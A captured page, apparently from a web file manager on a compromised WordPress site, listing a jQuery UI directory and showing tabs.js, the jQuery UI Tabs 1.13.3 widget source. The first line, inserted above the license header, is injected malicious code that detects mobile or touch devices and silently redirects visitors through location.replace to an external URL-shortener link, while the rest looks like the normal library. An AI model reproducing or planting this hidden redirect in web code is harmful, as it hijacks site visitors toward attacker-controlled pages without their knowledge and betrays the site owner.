at path:ROOT / wp-includes / js / jquery / ui / tabs.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄tabs.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Tabs 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Tabs
12//>>group: Widgets
13//>>description: Transforms a set of container elements into a tab structure.
14//>>docs: https://api.jqueryui.com/tabs/
15//>>demos: https://jqueryui.com/tabs/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/tabs.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../keycode",
29 "../safe-active-element",
30 "../unique-id",
31 "../version",
32 "../widget"
33 ], factory );
34 } else {
35
36 // Browser globals
37 factory( jQuery );
38 }
39} )( function( $ ) {
40"use strict";
41
42$.widget( "ui.tabs", {
43 version: "1.13.3",
44 delay: 300,
45 options: {
46 active: null,
47 classes: {
48 "ui-tabs": "ui-corner-all",
49 "ui-tabs-nav": "ui-corner-all",
50 "ui-tabs-panel": "ui-corner-bottom",
51 "ui-tabs-tab": "ui-corner-top"
52 },
53 collapsible: false,
54 event: "click",
55 heightStyle: "content",
56 hide: null,
57 show: null,
58
59 // Callbacks
60 activate: null,
61 beforeActivate: null,
62 beforeLoad: null,
63 load: null
64 },
65
66 _isLocal: ( function() {
67 var rhash = /#.*$/;
68
69 return function( anchor ) {
70 var anchorUrl, locationUrl;
71
72 anchorUrl = anchor.href.replace( rhash, "" );
73 locationUrl = location.href.replace( rhash, "" );
74
75 // Decoding may throw an error if the URL isn't UTF-8 (#9518)
76 try {
77 anchorUrl = decodeURIComponent( anchorUrl );
78 } catch ( error ) {}
79 try {
80 locationUrl = decodeURIComponent( locationUrl );
81 } catch ( error ) {}
82
83 return anchor.hash.length > 1 && anchorUrl === locationUrl;
84 };
85 } )(),
86
87 _create: function() {
88 var that = this,
89 options = this.options;
90
91 this.running = false;
92
93 this._addClass( "ui-tabs", "ui-widget ui-widget-content" );
94 this._toggleClass( "ui-tabs-collapsible", null, options.collapsible );
95
96 this._processTabs();
97 options.active = this._initialActive();
98
99 // Take disabling tabs via class attribute from HTML
100 // into account and update option properly.
101 if ( Array.isArray( options.disabled ) ) {
102 options.disabled = $.uniqueSort( options.disabled.concat(
103 $.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
104 return that.tabs.index( li );
105 } )
106 ) ).sort();
107 }
108
109 // Check for length avoids error when initializing empty list
110 if ( this.options.active !== false && this.anchors.length ) {
111 this.active = this._findActive( options.active );
112 } else {
113 this.active = $();
114 }
115
116 this._refresh();
117
118 if ( this.active.length ) {
119 this.load( options.active );
120 }
121 },
122
123 _initialActive: function() {
124 var active = this.options.active,
125 collapsible = this.options.collapsible,
126 locationHash = location.hash.substring( 1 );
127
128 if ( active === null ) {
129
130 // check the fragment identifier in the URL
131 if ( locationHash ) {
132 this.tabs.each( function( i, tab ) {
133 if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
134 active = i;
135 return false;
136 }
137 } );
138 }
139
140 // Check for a tab marked active via a class
141 if ( active === null ) {
142 active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
143 }
144
145 // No active tab, set to false
146 if ( active === null || active === -1 ) {
147 active = this.tabs.length ? 0 : false;
148 }
149 }
150
151 // Handle numbers: negative, out of range
152 if ( active !== false ) {
153 active = this.tabs.index( this.tabs.eq( active ) );
154 if ( active === -1 ) {
155 active = collapsible ? false : 0;
156 }
157 }
158
159 // Don't allow collapsible: false and active: false
160 if ( !collapsible && active === false && this.anchors.length ) {
161 active = 0;
162 }
163
164 return active;
165 },
166
167 _getCreateEventData: function() {
168 return {
169 tab: this.active,
170 panel: !this.active.length ? $() : this._getPanelForTab( this.active )
171 };
172 },
173
174 _tabKeydown: function( event ) {
175 var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ),
176 selectedIndex = this.tabs.index( focusedTab ),
177 goingForward = true;
178
179 if ( this._handlePageNav( event ) ) {
180 return;
181 }
182
183 switch ( event.keyCode ) {
184 case $.ui.keyCode.RIGHT:
185 case $.ui.keyCode.DOWN:
186 selectedIndex++;
187 break;
188 case $.ui.keyCode.UP:
189 case $.ui.keyCode.LEFT:
190 goingForward = false;
191 selectedIndex--;
192 break;
193 case $.ui.keyCode.END:
194 selectedIndex = this.anchors.length - 1;
195 break;
196 case $.ui.keyCode.HOME:
197 selectedIndex = 0;
198 break;
199 case $.ui.keyCode.SPACE:
200
201 // Activate only, no collapsing
202 event.preventDefault();
203 clearTimeout( this.activating );
204 this._activate( selectedIndex );
205 return;
206 case $.ui.keyCode.ENTER:
207
208 // Toggle (cancel delayed activation, allow collapsing)
209 event.preventDefault();
210 clearTimeout( this.activating );
211
212 // Determine if we should collapse or activate
213 this._activate( selectedIndex === this.options.active ? false : selectedIndex );
214 return;
215 default:
216 return;
217 }
218
219 // Focus the appropriate tab, based on which key was pressed
220 event.preventDefault();
221 clearTimeout( this.activating );
222 selectedIndex = this._focusNextTab( selectedIndex, goingForward );
223
224 // Navigating with control/command key will prevent automatic activation
225 if ( !event.ctrlKey && !event.metaKey ) {
226
227 // Update aria-selected immediately so that AT think the tab is already selected.
228 // Otherwise AT may confuse the user by stating that they need to activate the tab,
229 // but the tab will already be activated by the time the announcement finishes.
230 focusedTab.attr( "aria-selected", "false" );
231 this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );
232
233 this.activating = this._delay( function() {
234 this.option( "active", selectedIndex );
235 }, this.delay );
236 }
237 },
238
239 _panelKeydown: function( event ) {
240 if ( this._handlePageNav( event ) ) {
241 return;
242 }
243
244 // Ctrl+up moves focus to the current tab
245 if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
246 event.preventDefault();
247 this.active.trigger( "focus" );
248 }
249 },
250
251 // Alt+page up/down moves focus to the previous/next tab (and activates)
252 _handlePageNav: function( event ) {
253 if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
254 this._activate( this._focusNextTab( this.options.active - 1, false ) );
255 return true;
256 }
257 if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
258 this._activate( this._focusNextTab( this.options.active + 1, true ) );
259 return true;
260 }
261 },
262
263 _findNextTab: function( index, goingForward ) {
264 var lastTabIndex = this.tabs.length - 1;
265
266 function constrain() {
267 if ( index > lastTabIndex ) {
268 index = 0;
269 }
270 if ( index < 0 ) {
271 index = lastTabIndex;
272 }
273 return index;
274 }
275
276 while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
277 index = goingForward ? index + 1 : index - 1;
278 }
279
280 return index;
281 },
282
283 _focusNextTab: function( index, goingForward ) {
284 index = this._findNextTab( index, goingForward );
285 this.tabs.eq( index ).trigger( "focus" );
286 return index;
287 },
288
289 _setOption: function( key, value ) {
290 if ( key === "active" ) {
291
292 // _activate() will handle invalid values and update this.options
293 this._activate( value );
294 return;
295 }
296
297 this._super( key, value );
298
299 if ( key === "collapsible" ) {
300 this._toggleClass( "ui-tabs-collapsible", null, value );
301
302 // Setting collapsible: false while collapsed; open first panel
303 if ( !value && this.options.active === false ) {
304 this._activate( 0 );
305 }
306 }
307
308 if ( key === "event" ) {
309 this._setupEvents( value );
310 }
311
312 if ( key === "heightStyle" ) {
313 this._setupHeightStyle( value );
314 }
315 },
316
317 _sanitizeSelector: function( hash ) {
318 return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
319 },
320
321 refresh: function() {
322 var options = this.options,
323 lis = this.tablist.children( ":has(a[href])" );
324
325 // Get disabled tabs from class attribute from HTML
326 // this will get converted to a boolean if needed in _refresh()
327 options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
328 return lis.index( tab );
329 } );
330
331 this._processTabs();
332
333 // Was collapsed or no tabs
334 if ( options.active === false || !this.anchors.length ) {
335 options.active = false;
336 this.active = $();
337
338 // was active, but active tab is gone
339 } else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {
340
341 // all remaining tabs are disabled
342 if ( this.tabs.length === options.disabled.length ) {
343 options.active = false;
344 this.active = $();
345
346 // activate previous tab
347 } else {
348 this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
349 }
350
351 // was active, active tab still exists
352 } else {
353
354 // make sure active index is correct
355 options.active = this.tabs.index( this.active );
356 }
357
358 this._refresh();
359 },
360
361 _refresh: function() {
362 this._setOptionDisabled( this.options.disabled );
363 this._setupEvents( this.options.event );
364 this._setupHeightStyle( this.options.heightStyle );
365
366 this.tabs.not( this.active ).attr( {
367 "aria-selected": "false",
368 "aria-expanded": "false",
369 tabIndex: -1
370 } );
371 this.panels.not( this._getPanelForTab( this.active ) )
372 .hide()
373 .attr( {
374 "aria-hidden": "true"
375 } );
376
377 // Make sure one tab is in the tab order
378 if ( !this.active.length ) {
379 this.tabs.eq( 0 ).attr( "tabIndex", 0 );
380 } else {
381 this.active
382 .attr( {
383 "aria-selected": "true",
384 "aria-expanded": "true",
385 tabIndex: 0
386 } );
387 this._addClass( this.active, "ui-tabs-active", "ui-state-active" );
388 this._getPanelForTab( this.active )
389 .show()
390 .attr( {
391 "aria-hidden": "false"
392 } );
393 }
394 },
395
396 _processTabs: function() {
397 var that = this,
398 prevTabs = this.tabs,
399 prevAnchors = this.anchors,
400 prevPanels = this.panels;
401
402 this.tablist = this._getList().attr( "role", "tablist" );
403 this._addClass( this.tablist, "ui-tabs-nav",
404 "ui-helper-reset ui-helper-clearfix ui-widget-header" );
405
406 // Prevent users from focusing disabled tabs via click
407 this.tablist
408 .on( "mousedown" + this.eventNamespace, "> li", function( event ) {
409 if ( $( this ).is( ".ui-state-disabled" ) ) {
410 event.preventDefault();
411 }
412 } )
413
414 // Support: IE <9
415 // Preventing the default action in mousedown doesn't prevent IE
416 // from focusing the element, so if the anchor gets focused, blur.
417 // We don't have to worry about focusing the previously focused
418 // element since clicking on a non-focusable element should focus
419 // the body anyway.
420 .on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() {
421 if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
422 this.blur();
423 }
424 } );
425
426 this.tabs = this.tablist.find( "> li:has(a[href])" )
427 .attr( {
428 role: "tab",
429 tabIndex: -1
430 } );
431 this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" );
432
433 this.anchors = this.tabs.map( function() {
434 return $( "a", this )[ 0 ];
435 } )
436 .attr( {
437 tabIndex: -1
438 } );
439 this._addClass( this.anchors, "ui-tabs-anchor" );
440
441 this.panels = $();
442
443 this.anchors.each( function( i, anchor ) {
444 var selector, panel, panelId,
445 anchorId = $( anchor ).uniqueId().attr( "id" ),
446 tab = $( anchor ).closest( "li" ),
447 originalAriaControls = tab.attr( "aria-controls" );
448
449 // Inline tab
450 if ( that._isLocal( anchor ) ) {
451 selector = anchor.hash;
452 panelId = selector.substring( 1 );
453 panel = that.element.find( that._sanitizeSelector( selector ) );
454
455 // remote tab
456 } else {
457
458 // If the tab doesn't already have aria-controls,
459 // generate an id by using a throw-away element
460 panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
461 selector = "#" + panelId;
462 panel = that.element.find( selector );
463 if ( !panel.length ) {
464 panel = that._createPanel( panelId );
465 panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
466 }
467 panel.attr( "aria-live", "polite" );
468 }
469
470 if ( panel.length ) {
471 that.panels = that.panels.add( panel );
472 }
473 if ( originalAriaControls ) {
474 tab.data( "ui-tabs-aria-controls", originalAriaControls );
475 }
476 tab.attr( {
477 "aria-controls": panelId,
478 "aria-labelledby": anchorId
479 } );
480 panel.attr( "aria-labelledby", anchorId );
481 } );
482
483 this.panels.attr( "role", "tabpanel" );
484 this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" );
485
486 // Avoid memory leaks (#10056)
487 if ( prevTabs ) {
488 this._off( prevTabs.not( this.tabs ) );
489 this._off( prevAnchors.not( this.anchors ) );
490 this._off( prevPanels.not( this.panels ) );
491 }
492 },
493
494 // Allow overriding how to find the list for rare usage scenarios (#7715)
495 _getList: function() {
496 return this.tablist || this.element.find( "ol, ul" ).eq( 0 );
497 },
498
499 _createPanel: function( id ) {
500 return $( "<div>" )
501 .attr( "id", id )
502 .data( "ui-tabs-destroy", true );
503 },
504
505 _setOptionDisabled: function( disabled ) {
506 var currentItem, li, i;
507
508 if ( Array.isArray( disabled ) ) {
509 if ( !disabled.length ) {
510 disabled = false;
511 } else if ( disabled.length === this.anchors.length ) {
512 disabled = true;
513 }
514 }
515
516 // Disable tabs
517 for ( i = 0; ( li = this.tabs[ i ] ); i++ ) {
518 currentItem = $( li );
519 if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
520 currentItem.attr( "aria-disabled", "true" );
521 this._addClass( currentItem, null, "ui-state-disabled" );
522 } else {
523 currentItem.removeAttr( "aria-disabled" );
524 this._removeClass( currentItem, null, "ui-state-disabled" );
525 }
526 }
527
528 this.options.disabled = disabled;
529
530 this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null,
531 disabled === true );
532 },
533
534 _setupEvents: function( event ) {
535 var events = {};
536 if ( event ) {
537 $.each( event.split( " " ), function( index, eventName ) {
538 events[ eventName ] = "_eventHandler";
539 } );
540 }
541
542 this._off( this.anchors.add( this.tabs ).add( this.panels ) );
543
544 // Always prevent the default action, even when disabled
545 this._on( true, this.anchors, {
546 click: function( event ) {
547 event.preventDefault();
548 }
549 } );
550 this._on( this.anchors, events );
551 this._on( this.tabs, { keydown: "_tabKeydown" } );
552 this._on( this.panels, { keydown: "_panelKeydown" } );
553
554 this._focusable( this.tabs );
555 this._hoverable( this.tabs );
556 },
557
558 _setupHeightStyle: function( heightStyle ) {
559 var maxHeight,
560 parent = this.element.parent();
561
562 if ( heightStyle === "fill" ) {
563 maxHeight = parent.height();
564 maxHeight -= this.element.outerHeight() - this.element.height();
565
566 this.element.siblings( ":visible" ).each( function() {
567 var elem = $( this ),
568 position = elem.css( "position" );
569
570 if ( position === "absolute" || position === "fixed" ) {
571 return;
572 }
573 maxHeight -= elem.outerHeight( true );
574 } );
575
576 this.element.children().not( this.panels ).each( function() {
577 maxHeight -= $( this ).outerHeight( true );
578 } );
579
580 this.panels.each( function() {
581 $( this ).height( Math.max( 0, maxHeight -
582 $( this ).innerHeight() + $( this ).height() ) );
583 } )
584 .css( "overflow", "auto" );
585 } else if ( heightStyle === "auto" ) {
586 maxHeight = 0;
587 this.panels.each( function() {
588 maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
589 } ).height( maxHeight );
590 }
591 },
592
593 _eventHandler: function( event ) {
594 var options = this.options,
595 active = this.active,
596 anchor = $( event.currentTarget ),
597 tab = anchor.closest( "li" ),
598 clickedIsActive = tab[ 0 ] === active[ 0 ],
599 collapsing = clickedIsActive && options.collapsible,
600 toShow = collapsing ? $() : this._getPanelForTab( tab ),
601 toHide = !active.length ? $() : this._getPanelForTab( active ),
602 eventData = {
603 oldTab: active,
604 oldPanel: toHide,
605 newTab: collapsing ? $() : tab,
606 newPanel: toShow
607 };
608
609 event.preventDefault();
610
611 if ( tab.hasClass( "ui-state-disabled" ) ||
612
613 // tab is already loading
614 tab.hasClass( "ui-tabs-loading" ) ||
615
616 // can't switch durning an animation
617 this.running ||
618
619 // click on active header, but not collapsible
620 ( clickedIsActive && !options.collapsible ) ||
621
622 // allow canceling activation
623 ( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
624 return;
625 }
626
627 options.active = collapsing ? false : this.tabs.index( tab );
628
629 this.active = clickedIsActive ? $() : tab;
630 if ( this.xhr ) {
631 this.xhr.abort();
632 }
633
634 if ( !toHide.length && !toShow.length ) {
635 $.error( "jQuery UI Tabs: Mismatching fragment identifier." );
636 }
637
638 if ( toShow.length ) {
639 this.load( this.tabs.index( tab ), event );
640 }
641 this._toggle( event, eventData );
642 },
643
644 // Handles show/hide for selecting tabs
645 _toggle: function( event, eventData ) {
646 var that = this,
647 toShow = eventData.newPanel,
648 toHide = eventData.oldPanel;
649
650 this.running = true;
651
652 function complete() {
653 that.running = false;
654 that._trigger( "activate", event, eventData );
655 }
656
657 function show() {
658 that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" );
659
660 if ( toShow.length && that.options.show ) {
661 that._show( toShow, that.options.show, complete );
662 } else {
663 toShow.show();
664 complete();
665 }
666 }
667
668 // Start out by hiding, then showing, then completing
669 if ( toHide.length && this.options.hide ) {
670 this._hide( toHide, this.options.hide, function() {
671 that._removeClass( eventData.oldTab.closest( "li" ),
672 "ui-tabs-active", "ui-state-active" );
673 show();
674 } );
675 } else {
676 this._removeClass( eventData.oldTab.closest( "li" ),
677 "ui-tabs-active", "ui-state-active" );
678 toHide.hide();
679 show();
680 }
681
682 toHide.attr( "aria-hidden", "true" );
683 eventData.oldTab.attr( {
684 "aria-selected": "false",
685 "aria-expanded": "false"
686 } );
687
688 // If we're switching tabs, remove the old tab from the tab order.
689 // If we're opening from collapsed state, remove the previous tab from the tab order.
690 // If we're collapsing, then keep the collapsing tab in the tab order.
691 if ( toShow.length && toHide.length ) {
692 eventData.oldTab.attr( "tabIndex", -1 );
693 } else if ( toShow.length ) {
694 this.tabs.filter( function() {
695 return $( this ).attr( "tabIndex" ) === 0;
696 } )
697 .attr( "tabIndex", -1 );
698 }
699
700 toShow.attr( "aria-hidden", "false" );
701 eventData.newTab.attr( {
702 "aria-selected": "true",
703 "aria-expanded": "true",
704 tabIndex: 0
705 } );
706 },
707
708 _activate: function( index ) {
709 var anchor,
710 active = this._findActive( index );
711
712 // Trying to activate the already active panel
713 if ( active[ 0 ] === this.active[ 0 ] ) {
714 return;
715 }
716
717 // Trying to collapse, simulate a click on the current active header
718 if ( !active.length ) {
719 active = this.active;
720 }
721
722 anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
723 this._eventHandler( {
724 target: anchor,
725 currentTarget: anchor,
726 preventDefault: $.noop
727 } );
728 },
729
730 _findActive: function( index ) {
731 return index === false ? $() : this.tabs.eq( index );
732 },
733
734 _getIndex: function( index ) {
735
736 // meta-function to give users option to provide a href string instead of a numerical index.
737 if ( typeof index === "string" ) {
738 index = this.anchors.index( this.anchors.filter( "[href$='" +
739 $.escapeSelector( index ) + "']" ) );
740 }
741
742 return index;
743 },
744
745 _destroy: function() {
746 if ( this.xhr ) {
747 this.xhr.abort();
748 }
749
750 this.tablist
751 .removeAttr( "role" )
752 .off( this.eventNamespace );
753
754 this.anchors
755 .removeAttr( "role tabIndex" )
756 .removeUniqueId();
757
758 this.tabs.add( this.panels ).each( function() {
759 if ( $.data( this, "ui-tabs-destroy" ) ) {
760 $( this ).remove();
761 } else {
762 $( this ).removeAttr( "role tabIndex " +
763 "aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" );
764 }
765 } );
766
767 this.tabs.each( function() {
768 var li = $( this ),
769 prev = li.data( "ui-tabs-aria-controls" );
770 if ( prev ) {
771 li
772 .attr( "aria-controls", prev )
773 .removeData( "ui-tabs-aria-controls" );
774 } else {
775 li.removeAttr( "aria-controls" );
776 }
777 } );
778
779 this.panels.show();
780
781 if ( this.options.heightStyle !== "content" ) {
782 this.panels.css( "height", "" );
783 }
784 },
785
786 enable: function( index ) {
787 var disabled = this.options.disabled;
788 if ( disabled === false ) {
789 return;
790 }
791
792 if ( index === undefined ) {
793 disabled = false;
794 } else {
795 index = this._getIndex( index );
796 if ( Array.isArray( disabled ) ) {
797 disabled = $.map( disabled, function( num ) {
798 return num !== index ? num : null;
799 } );
800 } else {
801 disabled = $.map( this.tabs, function( li, num ) {
802 return num !== index ? num : null;
803 } );
804 }
805 }
806 this._setOptionDisabled( disabled );
807 },
808
809 disable: function( index ) {
810 var disabled = this.options.disabled;
811 if ( disabled === true ) {
812 return;
813 }
814
815 if ( index === undefined ) {
816 disabled = true;
817 } else {
818 index = this._getIndex( index );
819 if ( $.inArray( index, disabled ) !== -1 ) {
820 return;
821 }
822 if ( Array.isArray( disabled ) ) {
823 disabled = $.merge( [ index ], disabled ).sort();
824 } else {
825 disabled = [ index ];
826 }
827 }
828 this._setOptionDisabled( disabled );
829 },
830
831 load: function( index, event ) {
832 index = this._getIndex( index );
833 var that = this,
834 tab = this.tabs.eq( index ),
835 anchor = tab.find( ".ui-tabs-anchor" ),
836 panel = this._getPanelForTab( tab ),
837 eventData = {
838 tab: tab,
839 panel: panel
840 },
841 complete = function( jqXHR, status ) {
842 if ( status === "abort" ) {
843 that.panels.stop( false, true );
844 }
845
846 that._removeClass( tab, "ui-tabs-loading" );
847 panel.removeAttr( "aria-busy" );
848
849 if ( jqXHR === that.xhr ) {
850 delete that.xhr;
851 }
852 };
853
854 // Not remote
855 if ( this._isLocal( anchor[ 0 ] ) ) {
856 return;
857 }
858
859 this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );
860
861 // Support: jQuery <1.8
862 // jQuery <1.8 returns false if the request is canceled in beforeSend,
863 // but as of 1.8, $.ajax() always returns a jqXHR object.
864 if ( this.xhr && this.xhr.statusText !== "canceled" ) {
865 this._addClass( tab, "ui-tabs-loading" );
866 panel.attr( "aria-busy", "true" );
867
868 this.xhr
869 .done( function( response, status, jqXHR ) {
870
871 // support: jQuery <1.8
872 // https://bugs.jquery.com/ticket/11778
873 setTimeout( function() {
874 panel.html( response );
875 that._trigger( "load", event, eventData );
876
877 complete( jqXHR, status );
878 }, 1 );
879 } )
880 .fail( function( jqXHR, status ) {
881
882 // support: jQuery <1.8
883 // https://bugs.jquery.com/ticket/11778
884 setTimeout( function() {
885 complete( jqXHR, status );
886 }, 1 );
887 } );
888 }
889 },
890
891 _ajaxSettings: function( anchor, event, eventData ) {
892 var that = this;
893 return {
894
895 // Support: IE <11 only
896 // Strip any hash that exists to prevent errors with the Ajax request
897 url: anchor.attr( "href" ).replace( /#.*$/, "" ),
898 beforeSend: function( jqXHR, settings ) {
899 return that._trigger( "beforeLoad", event,
900 $.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
901 }
902 };
903 },
904
905 _getPanelForTab: function( tab ) {
906 var id = $( tab ).attr( "aria-controls" );
907 return this.element.find( this._sanitizeSelector( "#" + id ) );
908 }
909} );
910
911// DEPRECATED
912// TODO: Switch return back to widget declaration at top of file when this is removed
913if ( $.uiBackCompat !== false ) {
914
915 // Backcompat for ui-tab class (now ui-tabs-tab)
916 $.widget( "ui.tabs", $.ui.tabs, {
917 _processTabs: function() {
918 this._superApply( arguments );
919 this._addClass( this.tabs, "ui-tab" );
920 }
921 } );
922}
923
924return $.ui.tabs;
925
926} );
927